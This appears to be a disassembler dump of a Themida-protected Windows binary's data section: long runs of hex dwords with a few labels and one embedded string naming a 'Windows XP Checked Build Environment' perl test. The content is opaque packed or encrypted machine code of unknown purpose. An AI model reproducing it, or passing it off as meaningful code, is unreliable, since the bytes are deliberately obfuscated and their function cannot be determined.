79DE6401h, 1D92B95Bh, 0D5978EE8h, 4E12C001h, 27FA3201h dd 4123001h, 0AD48DB5Bh, 0A5162855h, 38162245h, 66120301h dd 0FCFB4253h, 7725B4B7h, 0AF68CF52h, 0A81D3140h, 24121801h dd 0F9C5E380h, 0EC111269h, 0CC41036Bh, 24128102h, 7FD19B21h dd 20363C88h, 20367480h, 24121815h, 60D15F42h, 24CF8388h dd 0E59104E5h, 7212EB04h, 2412C3E9h, 0E74C4001h, 66B95Fh dd 569905h, 24121405h, 0E7444001h, 0C9EC4C5Bh, 0F599E73Ah dd 6F82F980h, 0A11DEB42h, 24123069h, 5A0CEF80h, 913B3491h dd 23F62A24h, 6BF58E8Ch, 0B12386E5h, 23F6D5D8h, 241263B9h dd 77125A01h, 24121BE9h, 0E7492C01h, 4E8F5Ah, 568205h dd 24129605h, 0E7418301h, 0B348D878h, 2414BF0Eh, 0A93B1801h dd 23F610FCh, 241209E9h, 0F1FEA501h, 0A50DE0F9h, 0ABF88168h dd 0D8DD4A26h, 7BE5BB67h, 919BF9FEh, 23F612FCh, 241FEE60h dd 0DE120301h, 3DA258C3h, 9AB2DE22h, 939C9140h, 999F6AD0h dd 23FB93A3h, 0AA45818Ch, 50AA01E8h, 17139182h, 0C0208084h dd 0E5DDEB06h, 24786CE8h, 2411EE57h, 7A320301h, 509BDFC2h dd 6093C425h, 240E6425h, 0E9833001h, 8BA4F305h, 895053C0h dd 0E420AD8Dh, 6A5A5B07h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 3B97C350h, 5A51111Ah dd 1D198D29h, 0C38B07E4h, 8F698D8Dh, 8B6607E9h, 718D89DAh dd 3107E41Bh, 0E405F985h, 0A185C707h, 2407E42Dh, 6A000064h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0C663C351h, 699D8BD7h, 2307E41Bh, 0E42571BDh dd 0B985C707h, 7E422h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 5322C353h dd 0F6AC66Ch, 682h, 71B58B00h, 0FF07E403h, 0E41E15B5h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 601A085Dh, 8BF564F3h, 0E41F0995h, 6195FF07h dd 0B07E430h, 0E431CDBDh, 0FF006A07h, 0E40E4195h, 0EBC08B07h dd 43A70779h, 0DDF04C19h, 60D167h, 5EFA64A2h, 9068D610h dd 5501F5A3h, 0EE8DBEAh, 248726B5h, 83019BF1h, 4AC79DABh dd 648DF453h, 42D090DFh, 0F92C04F9h, 0D3CE78BEh, 0DE486089h dd 661A5E24h, 0D5071B85h, 170AFBA1h, 390ADD25h, 0E52BE12Ah dd 86E82363h, 7C2D4B36h, 0E0055411h, 0F6997C7h, 0B7F887Fh dd 721E65FFh, 0FEFB7514h, 7107B7E1h, 0C775B8AAh, 0A6979ED2h dd 9D8D8DC7h, 7E407B9h, 0CEB8h, 39858900h, 0E807E40Bh dd 0 dd 0D0558h, 3890000h, 0CEE9h db 0 byte_5DB495 db 2 dup(0), 0F2h ; DATA XREF: Themida_:00582C44o dd 32h dup(0F2000076h), 8DFFFF76h, 0E991BF8Dh, 13E907h dd 0C7B90000h, 23D3E866h, 25A8A0D8h, 48CABCC8h, 0C3CCB28h dd 896BB682h, 0E41B718Dh, 9DBD8B07h, 0C707E408h, 0E42DA185h dd 581007h, 0D7EF8000h, 22B985C7h, 7E4h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0C8157EC3h, 0E9B9188Ch, 11h, 79F50B0Dh, 7B73B324h, 0A1A0A75Eh dd 61527ED8h, 91B58971h, 6007E431h, 8A19531h, 61FC07E4h dd 635B5FFh, 6A07E4h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0ADEF0DC3h, 14F18589h, 95FF07E4h dd 7E43061h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0F0C35545h, 130CDBCEh, 0C5858B39h, 6A07E41Ch, 4195FF00h dd 8B07E40Eh, 828EBC0h, 0EB5660Ah, 394770F8h, 60413F4Dh dd 0B0F1EB90h, 1792E761h, 0F0172F7Dh, 68F091BEh, 74699AFAh dd 0F11B980h, 0E90C8437h, 99h, 5346B52Eh, 646E6957h, 2073776Fh dd 43205058h, 6B636568h, 42206465h, 646C6975h, 766E4520h dd 6E6F7269h, 746E656Dh, 70202D20h, 206C7265h, 74736574h dd 6C702Eh, 18h dup(0) dd 100CE900h, 42680000h, 0E907E994h, 0FFFBCC21h, 0E9955968h dd 0CC17E907h, 4D68FFFBh, 0E907E997h, 0FFFBCC0Dh, 0E9978C68h dd 0CC03E907h, 6068FFFBh, 0E907E998h, 0FFFBCBF9h, 0E998FC68h dd 0CBEFE907h, 2368FFFBh, 0E907E99Dh, 0FFFBCBE5h, 0E99FE368h dd 0CBDBE907h, 1768FFFBh, 0E907E9A1h, 0FFFBCBD1h, 8DC098C2h dd 4275E178h, 0F225272Dh, 0A6D97BDDh, 5588C291h, 0A0B3BA21h dd 0F56277AAh, 41152A5Dh, 8EC7DC0Fh, 0BE288DC0h, 0FF20ABDBh dd 0FBFCB023h, 8ED27CD9h, 6194BA9Bh, 0FB4F04EBh, 0A8BECAh dd 68B2FB57h, 0F9A34285h, 9DB86523h, 0D11A6DB1h, 0A16A9E8Dh dd 6CED23F9h, 0A1D606E9h, 0C6D323F9h, 981B397Dh, 0C5E9EE13h dd 3D17412Ah, 0FB54EFF9h, 58F78A8Eh, 5E0D5C0Ch, 0B8EF015Ah dd 351F3952h, 0E7D9B721h, 0F9FED404h, 83CCD923h, 20B252h dd 0E6B10000h, 9B7EC8C0h, 23F9979Ch, 3F2E727Fh, 23F9980Bh dd 0F36FE073h, 5A5EAABBh, 0F3C0h, 7CD9BF00h, 533A8ED2h dd 0A5ADAA00h, 41122B5Ch, 0B14F803Eh, 9599ADA7h, 7CDDC617h dd 0FA4396DAh, 0BC92C3B6h, 173D2478h, 6D9EF135h, 694C0154h dd 1C15B039h, 17402936h, 5BA4F73Bh, 72E2C911h, 5E4396DAh dd 1C15B02Eh, 0A3A1D2Bh, 0F1C15B0h, 2588B902h, 15B4AF14h dd 17371E1Ch, 0C886CFE4h, 0F1BF977Eh, 52A5E963h, 4172C509h dd 0C9C1E7CDh, 0C7E19C7Fh, 0D1E323F9h, 3015FA3Fh, 99306187h dd 3F51598Ch, 0C206E933h, 0E72BE121h, 0EC351D3Ah, 0B298BBA2h dd 3522097Fh, 80D3EC1Dh, 9D44D8CAh, 2C50C2A6h, 0DBB2Fh dd 193F1B00h, 0CE88D1E6h, 7ECE869Bh, 3222364Bh, 0E169EAFFh dd 0C517AAEh, 0BBD00347h, 6E83B69Ch, 203568E8h, 81E61935h dd 23043417h, 550923FFh, 0D07AD954h, 0FF573E86h, 0D5BA0D51h dd 1C158EA5h, 0A1B49DAAh, 4197CADh, 4FCAFD51h, 7EC8C0E6h dd 5094C297h, 6F52CCFDh, 23F99870h, 0EDD41E2Bh, 51A4E86Ah dd 89BDAC20h, 0C23F997h, 0CFC2064Ah, 77E0C987h, 1D6297DBh dd 7D515532h, 6192C296h, 72592728h, 0A03869E1h, 5A5EAAC8h dd 0C76Fh, 7CD96E00h, 0B89B8ED2h, 8E7EAE91h, 0CE7B1C15h dd 367FC888h, 9EB79EF2h, 0DC796CB0h, 92DB2E72h, 93E74C61h dd 6FE61C15h, 0BE97ACDFh, 40664C90h, 0EECFE48h, 4DF884D6h dd 2C75DF79h, 0E39E81FBh, 0E523FA88h, 0B2F656FEh, 8A972E5Fh dd 31394F57h, 67AF04E7h, 53002BE1h, 0B3064A00h, 83C78FCAh dd 0B69DE730h, 99C9AC9Dh, 961C17A2h, 970D4089h, 4C0CA8B0h dd 2871C408h, 0D575DEF7h, 0A6C92FE3h, 322F53C2h, 0CA4h dd 0FD302832h, 0B2E571E8h, 6295B79Dh, 16490B4Dh, 0C5F85201h dd 30232A91h, 85D2E71Ah, 0D1859ACDh, 1E374C7Fh, 2E98FD30h dd 0FF241B4Bh, 6B6C2023h, 9DD07AD9h, 3D194027h, 5C75A6F9h dd 0A72255F9h, 8ED27CD9h, 6194BA9Bh, 0F13B3759h, 4E7E61A9h dd 4B1C158Fh, 39FDD373h, 0BC05AD54h, 129F768Bh, 0FF0C23FAh dd 1198CCBBh, 6D0023FAh, 20D686E2h, 7555A5Eh, 54000000h dd 8DFCFh, 0C0E6D400h, 53367EC8h, 1C158F23h, 0BD685028h dd 0F940585Eh, 22057FB0h, 23FA1117h, 0CEFEE129h, 0CB23F9FEh dd 1EF68DBEh, 0FF00B58Ah, 1E3720E3h, 0B69DE730h, 0A4610A0h dd 0F92A73C6h, 0C0C39285h, 149DD4B7h, 0C9FC45A2h, 69ADA1B4h dd 5E292E15h, 84235D2Dh, 5B8CD537h, 3DCA3C46h, 0A0E96F8Bh dd 5847F1C1h, 6CB0F986h, 2C70DA79h, 0CDBA9514h, 46A3AC53h dd 0ADF53F0Fh, 0B63D9ACAh, 61F29F7Ch, 0C6FA0E9h, 0ACF05EF7h dd 0B63D8ABDh, 3143C97Ch, 0BFBF8BC9h, 0D714957Ch, 2DD83145h dd 400F4879h, 699CB2A3h, 94D0154h, 0B591E31Ah, 0A8A71C7Ch dd 0EA341A3Bh, 0BBFF5503h, 5ED43768h, 4374E277h, 0D1832B2Ah dd 8BD47ADBh, 0F618FE42h, 8168B0FAh, 0D476DDD7h, 0B0F43D90h dd 0C9CE4392h, 7CC58A14h, 4CCF364Bh, 0AFBCC359h, 1BD8D07Ch dd 0A1B3FDF5h, 0E920DAAAh, 86CE8A05h, 75A6EF42h, 0E91118FBh dd 91BBCB4h, 11506EFAh, 0FA91C2EFh, 98BCA3EDh, 0D4A0D0B3h dd 909DBB74h, 0E5701647h, 9985B5A4h, 2670788Eh, 0A76B2114h dd 7FB0206Fh, 0B7772205h, 0BF6C6548h, 2377BB99h, 0C0A51040h dd 0B7000D62h, 22442A6Eh, 6CF9DC26h, 406AA855h, 9DCDB0F8h dd 0A25D6234h, 3480B095h, 5DFB5D62h, 0F960B3F7h, 1724BBECh dd 0DF6FE6CDh, 90BE97ACh, 5C378A9Eh, 0D5D2F681h, 0AB0h dd 0F1243426h, 0A6D97DDCh, 5689C391h, 0A3D1741h, 0B9EC5EF5h dd 3C172685h, 91C6DB0Eh, 0DD798EC1h, 2A2B4073h, 228CF124h dd 0FF260F3Fh, 57580C23h, 0E0D27CD9h, 0C2A8DCDEh, 71252246h dd 6500000Ah, 1B3063F5h, 0D0E5183Eh, 8095C884h, 34497CD8h dd 0C4F82B1Fh, 4DFD56E7h, 52051Ah, 0B29EB8CDh, 63EB6A7Fh dd 7E61CB30h, 23FF264Eh, 0D996974Bh, 9B8ED27Ch, 364892B8h dd 90E9C9E3h, 0AD10419Dh, 3A4C0901h, 0B59CE42Eh, 6A7FB0A2h dd 23FA6F63h, 1AA51B28h, 0E5B780ABh, 0DE6EE6CDh, 838FA1ADh dd 4F075239h, 0D87B80Bh, 536D7F2Ah, 7659A1EAh, 0DDD36B46h dd 6E053643h, 11371D61h, 7587CF19h, 32268895h, 0BDE10E22h dd 0D505E832h, 0DADDD2B8h, 0FA879CCDh, 0D2E5BA69h, 0A0E46AEBh dd 78851C4Dh, 0CDD4E62Eh, 0C5B4C380h, 0CAA7449Ah, 0EA33AE62h dd 0F9B5A0B9h, 63ADF660h, 4677DB7Ch, 0D0866DE3h, 0B8E93C80h dd 0A698B69Fh, 0FC4ED50Eh, 9DC9C6EAh, 39000009h, 0EF043721h dd 0A4B9EC6Ah, 54699CB0h, 81D5004h, 98CCFF4Bh, 21292A33h dd 0D47ED9EEh, 86CA8CA1h, 37173E53h, 52359F04h, 23FF2722h dd 0D9727327h, 9B8ED27Ch, 0EF61F5BBh, 0DC0F58ABh, 97965466h dd 0E783B67Ch, 0BBD1A1B6h, 37591C15h, 0AE91B89Bh, 1C15BB7Eh dd 0E1256E7Bh, 0BB7AAA8Dh, 727F1C15h, 0B396E029h, 23FF4D74h dd 64E66D54h, 458F9C33h, 1CDCEBFDh, 93CDC2B2h, 420C4962h dd 0F35BFA0Fh, 0B397BCAFh, 7DD58269h, 41B5E639h, 5648084Eh dd 0BABEF874h, 16F6C90h, 0D5000009h, 8BA0D385h, 405588CEh dd 0F0053814h, 0A4B9EC68h, 34689BAFh, 0BD8DC697h, 70E2758Ah dd 222E283Dh, 0D37BDAEFh, 0EED13BA0h, 23FF26BEh, 780607BBh dd 5788C291h, 0F337173Eh, 0B09CB89Fh, 5FEF667Fh, 202D281Bh dd 158F0D3Dh, 0BC05121Ch, 7FD18578h, 0ABA4233Bh, 0E16EB3DEh dd 45325104h, 25D94BB0h, 91D57DDAh, 62ACF53Eh, 7CF09650h dd 79AA6F69h, 0E52A8216h, 3D515DBAh, 50000005h, 7EC8C0E6h dd 0FF205C9Bh, 4E313F23h, 23FF201Eh, 3F49C96Eh, 0E2493488h dd 0FA428CD5h, 0CC104613h, 262F4879h, 987FF528h, 0ED65F2BEh dd 0DC0D56A9h, 6BAFB3D0h, 6B18977Ch, 67E87B9Dh, 0BEEED119h dd 0BB9A9AFFh, 0FF9ACAADh, 929F9A9Ah, 28801849h, 4F233FEEh dd 57h, 0F8280B53h, 0F59A9B07h, 0E638B7E8h, 337BC5CDh dd 8ED808EBh, 5531C15h, 0AADBE84Fh, 158E6595h, 195D6A1Ch dd 7CF13A2Ah, 400FA23Ch, 54FA5B42h, 0FDD38B23h, 6C7E7DDDh dd 0CF19F5B3h, 3FDF10FAh, 13h, 21ECF3Eh, 0F2D90000h, 163D2366h dd 0C7119693h, 78CE4D7Eh, 5889C391h, 0E72B374Ch, 81FB13F8h dd 575FFA95h, 0C5095200h, 89CD85D2h, 94F15E05h, 3452FD90h dd 145074Dh, 0FA9ACAADh, 929F9581h, 28801849h, 7524D6CFh dd 468ACA8Eh, 74B0153h, 3E216BB4h, 9581EF0Eh, 2DCDFE0Bh dd 20h, 0C4CDE62Ch, 158EB1E1h, 58A1AE1Ch, 0FB212514h, 0D6699581h dd 0F3BDED79h, 6ABA24D6h, 0B9000000h, 7BC5CDE6h, 0D808EB33h dd 0D51C158Eh, 0D775DFC8h, 8E6191A6h, 515E1C15h, 1C382007h dd 65485D8h, 0FE6A619Ch, 3224351Ch, 0DB87C801h, 5DBADC83h dd 34A8h, 0CDE6A700h, 4C337BC5h, 15460Ah, 1C158ED2h, 0C3A7BECBh dd 9DB28BC9h, 0BA9F99D1h, 139E5Dh, 789D0000h, 5C8DC791h dd 14339h, 0FD5C4300h, 91C21559h, 0F1CF12h, 78D40000h dd 8F1D4D30h, 15221C15h, 17BBD8E4h, 0D9CC103Eh, 3D90D47Eh dd 7867ABF4h, 7165D29Fh, 0F36FE073h, 8EADCBBh, 0A8C0h dd 0CDE6BF00h, 8EB1E1C4h, 0A1AE1C15h, 0FB2B0E58h, 1C158Eh dd 7E61A9F3h, 1C158F4Eh, 990D3E4Bh, 35BB96AAh, 0D57FD93Ch dd 97B79E91h, 2728CF53h, 7082565Ah, 61E4C26Eh, 0C80132C1h dd 0C883DB87h, 4FA87D9Ah, 0A7000000h, 7BC5CDE6h, 44084C33h dd 99C9AC00h, 961C158Eh, 0FA0F4089h, 1C158ECAh, 2A7EC2CFh dd 0FC401643h, 4F6378A9h, 0B78935BCh, 765D2B24h, 0D82B6FDFh dd 0BB7BAB8Eh, 73808935h, 0B2F2AA42h, 579F309Ah, 35B44474h dd 0B3C4989h, 146Bh, 91786A00h, 75A588C3h, 7A1C158Eh, 0D0F3246Dh dd 64h, 0C39178D5h, 9BB7A089h, 4A04516Ah, 8CCBB206h, 4D8095C6h dd 911C158Fh, 79DC0946h, 0E627A2D5h, 0CAAEC5CDh, 46044F8Dh dd 7450F02h, 0B7983FC3h, 0BF9069CAh, 159C3026h, 7371A1Ch dd 41C159Ch, 0FCB392Ch, 6BB40B63h, 0BFE3BA22h, 0DC865DBAh dd 85FFFFFEh, 1D4D3078h, 221C158Fh, 7DC1E415h, 0C6000002h dd 8ED27CD9h, 6194BA9Bh, 0F13B3759h, 42BB4CDFh, 851E520h dd 5AD4054Eh, 23292B12h, 6E9ADDF2h, 50FD23FAh, 0B4FE4703h dd 1141246Ch, 0E23FA6Eh, 6DEC1C01h, 44F123FAh, 0C1F23B0Fh dd 6E2A5E4Dh, 0A7AD23FAh, 0B9FD4F05h, 0E6D91D66h, 849CE070h dd 393D4A05h, 0EDBDA9A6h, 8A5A5E40h, 29h, 0C8C0E689h, 979C9B7Eh dd 727F23F9h, 78C8DA2Eh, 0B8414EA9h, 98CCE112h, 23F9A5h dd 0D686E26Dh, 555A5EB4h, 0A5h, 0C8917854h, 0C6F74A8Eh dd 62A6A8ADh, 1C66E46Fh, 0EA2E2035h, 0AFF361F7h, 6EE2135Ch dd 2A74DA7Bh, 0E8476218h, 0E3147243h, 74D97C6Fh, 166A6191h dd 8515E1Ch, 6F5FC4D5h, 87CE1C16h, 7A8C94C7h, 6A41246Eh dd 4523FD4Eh, 4C07EE38h, 6E55CBFEh, 1E3768E8h, 9D231535h dd 0E1BAC29Dh, 4DAC0BDh, 5EFC0000h, 0A7B2C7FAh, 0ED677CAFh dd 41172C5Fh, 88CBE013h, 705B8FC2h, 0B1E466EDh, 6497BB9Ch dd 1649074Fh, 0C7FA5401h, 0E515F862h, 0EA23FF2Bh, 7AD93536h dd 0B79F86D0h, 0B2F660F9h, 82E5165Fh, 3366E86Dh, 0D27CD9B8h dd 93BA9B8Eh, 158E80B0h, 27707D1Ch, 197CBDDh, 8B9FABA8h dd 2E5F6B3Eh, 0A5ADC3CBh, 0EC11785Bh, 717E23F9h, 0EB0C3E2Dh dd 0CA8F23F9h, 355488Ch, 0E2890D51h, 0B0F5206Dh, 86CFE19Fh dd 71E8C96h, 0EC020E3Fh, 6B529AE4h, 0CC1F63E9h, 0FA3CB7E7h dd 0BEA7B423h, 0A84B595h, 0DE59C027h, 6B9EAB2Bh, 0B0A54D63h dd 0F0675A9Eh, 86D01962h, 0FFD264A3h, 606F4723h, 82AAE683h dd 90D8226Bh, 0BFA2ADA9h, 23FEB98Fh, 5367F8Ch, 0B1E468ECh dd 0FEB976A0h, 0EF61F523h, 202993A5h, 85E0F49Fh, 0E6397DCFh dd 0EA096C9Dh, 62h, 8EA9DDEFh, 1B391C15h, 2F73E177h, 4B6093DCh dd 0ABFF4309h, 8F508063h, 404D1C15h, 8ECAFA0Fh, 5A361C15h dd 23292B12h, 77A78CDFh, 741C158Eh, 52FD3667h, 5A8DBF95h dd 0FB3F1145h, 158ED90Ch, 0ADA24D1Ch, 0E26F1640h, 0C06F68CAh dd 3EB4E730h, 0FDE313F6h, 0DBE81C15h, 0FD7EAE91h, 6E7B1C15h dd 7DD9BE3Dh, 0BA9C8FD3h, 0F45F5296h, 381F1256h, 3175DD7Ah dd 475195DEh, 0BBE6A3ACh, 0C4ABD976h, 748DBE92h, 0C53B6EE2h dd 1A3A7ADEh, 529BEE32h, 758ABB0Eh, 1C15A23Dh, 8D712890h dd 5EF85DBAh, 0F7FFFFFFh, 0EED17CD9h, 1C158EBEh, 0CC331D39h dd 3F3276BFh, 8F053816h, 47F1C17Dh, 70A102F0h, 0FC464264h dd 0F9CAD619h, 82CCD923h, 0D5AA2470h, 0E3BDD183h, 34A3E938h dd 0D62085A9h, 0F9E85C8Dh, 23FA1CC5h, 0B9B59A2Dh, 5A5E11E1h dd 1D8FC5ACh, 83D61A3Ch, 72A3F63Ah, 55D2h, 0C0E6D100h dd 53367EC8h, 1C158F23h, 78DE7B28h, 8498E134h, 0F3793C13h dd 79F324E2h, 0FA5C9796h, 8669B123h, 23FA5B56h, 19FC4653h dd 23FA5AE9h, 11A8D9E6h, 5AF02003h, 0E0ED23FAh, 0F0664D97h dd 0CCBB2F60h, 23FA5A98h, 86E26D00h, 5A5E6FD6h, 0D755h dd 7CD95400h, 0B89B8ED2h, 0FA5B4E92h, 9DB1A5B4h, 7FF5E69Fh dd 1357A00Fh, 0E6193520h, 15CB70D5h, 56F85D1Ch, 3C470E23h dd 0CEF942Fh, 1C15CBDCh, 47C0D4E1h, 8BCF18C4h, 71E783A5h dd 8509AE3h, 7CADDDC0h, 0ECCF1C16h, 1C167CBCh, 404DB4C1h dd 8BB3FA0Fh, 2E1523FAh, 62F92A2Ah, 0F41A2255h, 0F2CFB2FCh dd 6D2BE158h, 79BD99C0h, 0AC93DD26h, 5B70A3A7h, 766052F8h dd 8EC2A6D2h, 21A6D6Ah, 9EBC0000h, 0E77287BAh, 2D273C6Fh dd 81D7EC1Fh, 0C88BA0D3h, 0B01B4F82h, 71A4A6ADh, 2457FB5Ch dd 0D609470Fh, 87BA94C1h, 0A5D5B822h, 0AA23FF2Dh, 7AD9F5F6h dd 474DC105h, 0B7008D5Fh, 30270E84h, 377BD382h, 4579BE4h dd 0B39BBAD3h, 7DD58269h, 5CFDE639h, 0EB66C9FAh, 7EC8C0E6h dd 0F9979C9Bh, 2E727F23h, 0F9980B3Fh, 8ACA8E23h, 4C025346h dd 0DE71F008h, 0E2C99DA1h, 0C9F9DC75h, 0C623F997h, 0D92C70B9h dd 84E06FA8h, 5A5EAAD4h, 0E753h, 0C70F5700h, 0F993B4E4h dd 0C7ACB923h, 23F99397h, 0D7568794h, 8ED27CD9h, 4E92B89Bh dd 8256E8FAh, 3AE9393Ch, 0A2EC351Dh, 16508FBFh, 4E7F8C1Ch dd 1655D439h, 321C391Ch, 436BEAFFh, 97BB9C12h, 5DEF654Eh dd 397DC619h, 0EB353D53h, 0FB5B4F04h, 75BE1155h, 33ADDE31h dd 0FA640950h, 7ED98623h, 0F43D90D4h, 554498AAh, 7520A4CAh dd 0B7D9E144h, 0CA8A71BBh, 0BAEB3E82h, 7F215D40h, 78862BE0h dd 187D6595h, 145D6A1Ch, 0DA70E3CAh, 35654890h, 3A1C187Eh dd 8499FC2Dh, 63897BCFh, 2FC2A5EEh, 0E60E0Bh, 6AF00000h dd 0B3A6BBEEh, 0F95B70A3h, 4D0B2053h, 94BFD407h, 6C4F83B6h dd 0A5D872E1h, 588BC790h, 0A3D1343h, 0BBEE60F5h, 0D909EC56h dd 0D623FF2Fh, 7AD92122h, 0CD889DD0h, 0C6D84E81h, 0DB6C6866h dd 4CCBFCE7h, 8ED27CD9h, 6194BA9Bh, 0F13B3759h, 0FF20CB0Eh dd 5106ED23h, 6139D001h, 64CB19C5h, 2151348Eh, 1E23FEB3h dd 357FC811h, 13226223h, 0EBFB0F45h, 87FB2CF9h, 6AEDC194h dd 0FA58FFE8h, 0D1F67B1h, 3186F500h, 4D7D62F3h, 5223FEE9h dd 9CB11445h, 644B95B9h, 0BB2F60F4h, 0AE0062CCh, 2629D078h dd 7FB29CB9h, 1B332209h, 0E074E4D7h, 0EC00499Ch, 411D09B7h dd 486192D6h, 10F7410Dh, 67DB0C48h, 83D0E474h, 0D8212F27h dd 0A6414B8Fh, 35193CA9h, 0E668ED02h, 0EF674EA2h, 99CA1D61h dd 376h, 3A697B00h, 93D781D9h, 5599B5A0h, 185CF462h, 0DC203225h dd 9CE06AE9h, 5CA0AAA9h, 2165EF69h, 0E226262Eh, 0A8EC6AEFh dd 0E189516Ah, 4C181h, 0E9810000h, 4, 5C240C87h, 68243C89h dd 275Dh, 50241C89h, 405E089h, 83000000h, 48704E8h, 0C895C24h dd 0BA525024h, 5D927082h, 0BB5AD089h, 657C036Bh, 6858C329h dd 7394h, 81242489h, 42404h, 52590000h, 8BAh, 89CA0100h dd 24148B1Ah, 0FF04C483h, 81592434h dd 4C4h, 2434FF00h, 4C4835Bh, 0FBBC20E9h, 22B831FFh, 307E9A2h dd 5E0FFC5h, 0B9590493h, 2C4C6E91h, 5C6D3EE8h, 13281961h dd 4966A2DEh, 4F6657DBh, 0F77C403Bh, 7A0D0331h, 305D7FC4h dd 4E06A257h, 24267887h, 8E0E2A47h, 0EF05DEABh, 0E45B35CCh dd 0E35A1942h, 0E82A7E86h, 13h, 61C79BDh, 1ACE01CCh, 6C5A7736h dd 552D1A5Fh, 66F371EEh, 0F959F98Bh, 6DDEC181h, 60600000h dd 830Fh, 840F0000h, 0 dd 0CE861h, 0D2850000h, 0F2A750C4h, 0BD8207B2h, 0BE88745h dd 0AC000000h, 33784922h, 6962E7B1h, 5B5FAC2Ch, 0BA61h dd 0CE810000h, 1833055Ch, 0F0A34FFh, 0C86h, 7E900h, 32240000h dd 7B91CBEBh, 8D0F58D4h, 3, 81FDD780h, 8C7CF0C0h, 0A8E88107h dd 604B05A1h, 61FEBF0Fh, 0E4D5F081h, 51606A5Eh, 8B5F6160h dd 48961CFh, 0FFB70F11h, 0B026BF66h, 6604EA83h, 0E35DC681h dd 92DCFA81h, 850FFFFFh, 0FFFFFFA4h, 0CDEEF381h, 0B0E924F7h dd 60000000h, 0F6DA8C66h, 850F04C2h, 0Ch, 19D853Bh, 840F07E4h dd 36h, 1DE1853Bh, 840F07E4h, 2Ah, 0DE1853Bh, 840F07E4h dd 1Eh, 2255853Bh, 840F07E4h, 12h, 22ADBD83h, 0F0107E4h dd 584h, 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh, 784A8B00h dd 840FC985h, 49h, 0F8C281h, 728B0000h, 8BC8030Ch, 518B1C59h dd 8BD80314h, 0FC9850Bh, 1084h, 0FCE3B00h, 1782h, 0FCF3B00h dd 0F83h, 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4FE79D8Dh dd 5B807E4h, 0FF000000h, 0BC361E3h, 13FE9D0h, 0F600000h dd 683h, 8B0F00h, 0E9000000h, 13h, 0A3DB8371h, 54D1D316h dd 6F5CC845h, 0D00935F5h, 616D2025h, 0A4EFB58Dh, 6A07E9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 59446BC3h, 32E29120h, 0FE9E9h, 4A2F0000h, 4138D80Bh dd 0F6804BABh, 0AE556D4Bh, 17858D5Ah, 6A07E784h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 72AEC351h, 0F5D0FFF8h, 8C66F9C3h, 0AE9D9h, 6C6A0000h dd 1C4898Fh, 0B8BDC796h, 0F04C1F6h, 4E84h, 0DE96000h, 19000000h dd 85671DBh, 0D882984Dh, 0EECB6229h, 8B614AB7h, 32CB8BFBh dd 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h dd 0B000101h, 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah dd 1B8h, 8B09EB00h, 0B8E4EB00h, 0 dd 0FF560CFh, 287h, 6189B700h, 569BB660h, 0FE9h, 0EB207300h dd 7ED2E721h, 0C307A9A4h, 0FB9D37EEh, 6A6159h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 8065C3h, 3885C782h, 3F07E9A5h, 0E8000101h, 0Bh, 0FB522869h dd 0D9A5918Dh, 0F01B051h, 665FF6BFh, 0C781F28Bh, 6732h dd 0AE8h, 0EC209E00h, 0A07D2ECFh, 0F4F02A7h, 187h, 0BB59F800h dd 5D5F9A47h, 7F53C381h, 0C880A2A0h, 0F9178BE1h, 2E4EEA81h dd 0CE8B1FE0h, 0DCBFF281h, 81664021h, 81B936EEh, 14C0D6EAh dd 9B86B959h, 8052305Bh, 78F49F0h, 6E9h, 6962E700h, 8350AC2Ch dd 4FFC02EFh, 850F4B4Fh, 2Bh, 0DE9h, 9DDD7600h, 0CF886F59h dd 0E6BF9E6Ah, 3BE98D46h, 24000000h, 2D8E32D9h, 0A1A217C1h dd 0CA1E6D4Ah, 289EFDE2h, 0E9CACEB1h, 9, 82379D5Bh, 0F03D010Dh dd 0FF83E904h, 273EFFFFh, 0C024B893h, 2E08A1F0h, 3A0E8760h db 0BAh, 7Ch word_5DCB06 dw 3574h ; DATA XREF: Themida_:00583C6Co dd 8D8D7972h, 7E9A75Dh, 6D18D01h, 8D8907E4h, 7E41B71h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FCC35343h dd 0AE984ABh, 51000000h, 152109C4h, 0C8599CE1h, 0A185C7A0h dd 0F007E42Dh, 6A000072h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0E1A2C352h, 63E76833h dd 0BE66C3A5h, 85C74B86h, 7E422B9h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 6C35343h dd 12BF2A77h, 4CBA6610h, 11B5FF10h, 6A07E418h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0CE43C356h, 85895264h, 7E413B9h, 6195FF5Bh, 907E430h dd 0E417E1BDh, 0FF006A07h, 0E40E4195h dword_5DCBE8 dd 0EBC08B07h, 0D1D0156Fh, 5F77219Bh, 3FDAA33Fh, 0F4EC9734h ; DATA XREF: Themida_:00582B5Co dd 0F071AD74h, 1C9B6688h, 1C3B41A8h, 257AFA48h, 0B26FA382h dd 927595E2h, 0A1D45BCDh, 0A3A059C4h, 9650ED45h, 0EC1672C0h dd 3DA62D65h, 0DCFCC9CFh, 5037AB0Dh, 689A5350h, 0B86936C4h dd 52F57A2Ah, 84E733E6h, 0B1AB373Ch, 0D3B6E1EFh, 6F513E71h dd 808ABD0h, 0C8E4465Fh, 0A6396C5h, 0A7A45CCFh, 60EBh dd 17h dup(0) dd 14E90000h, 0E900000Bh, 0B08h, 0E9B02F68h, 0D5B5E907h dd 5868FFFAh, 0E907E9B1h, 0FFFAD5ABh, 0E9B1AE68h, 0D5A1E907h dd 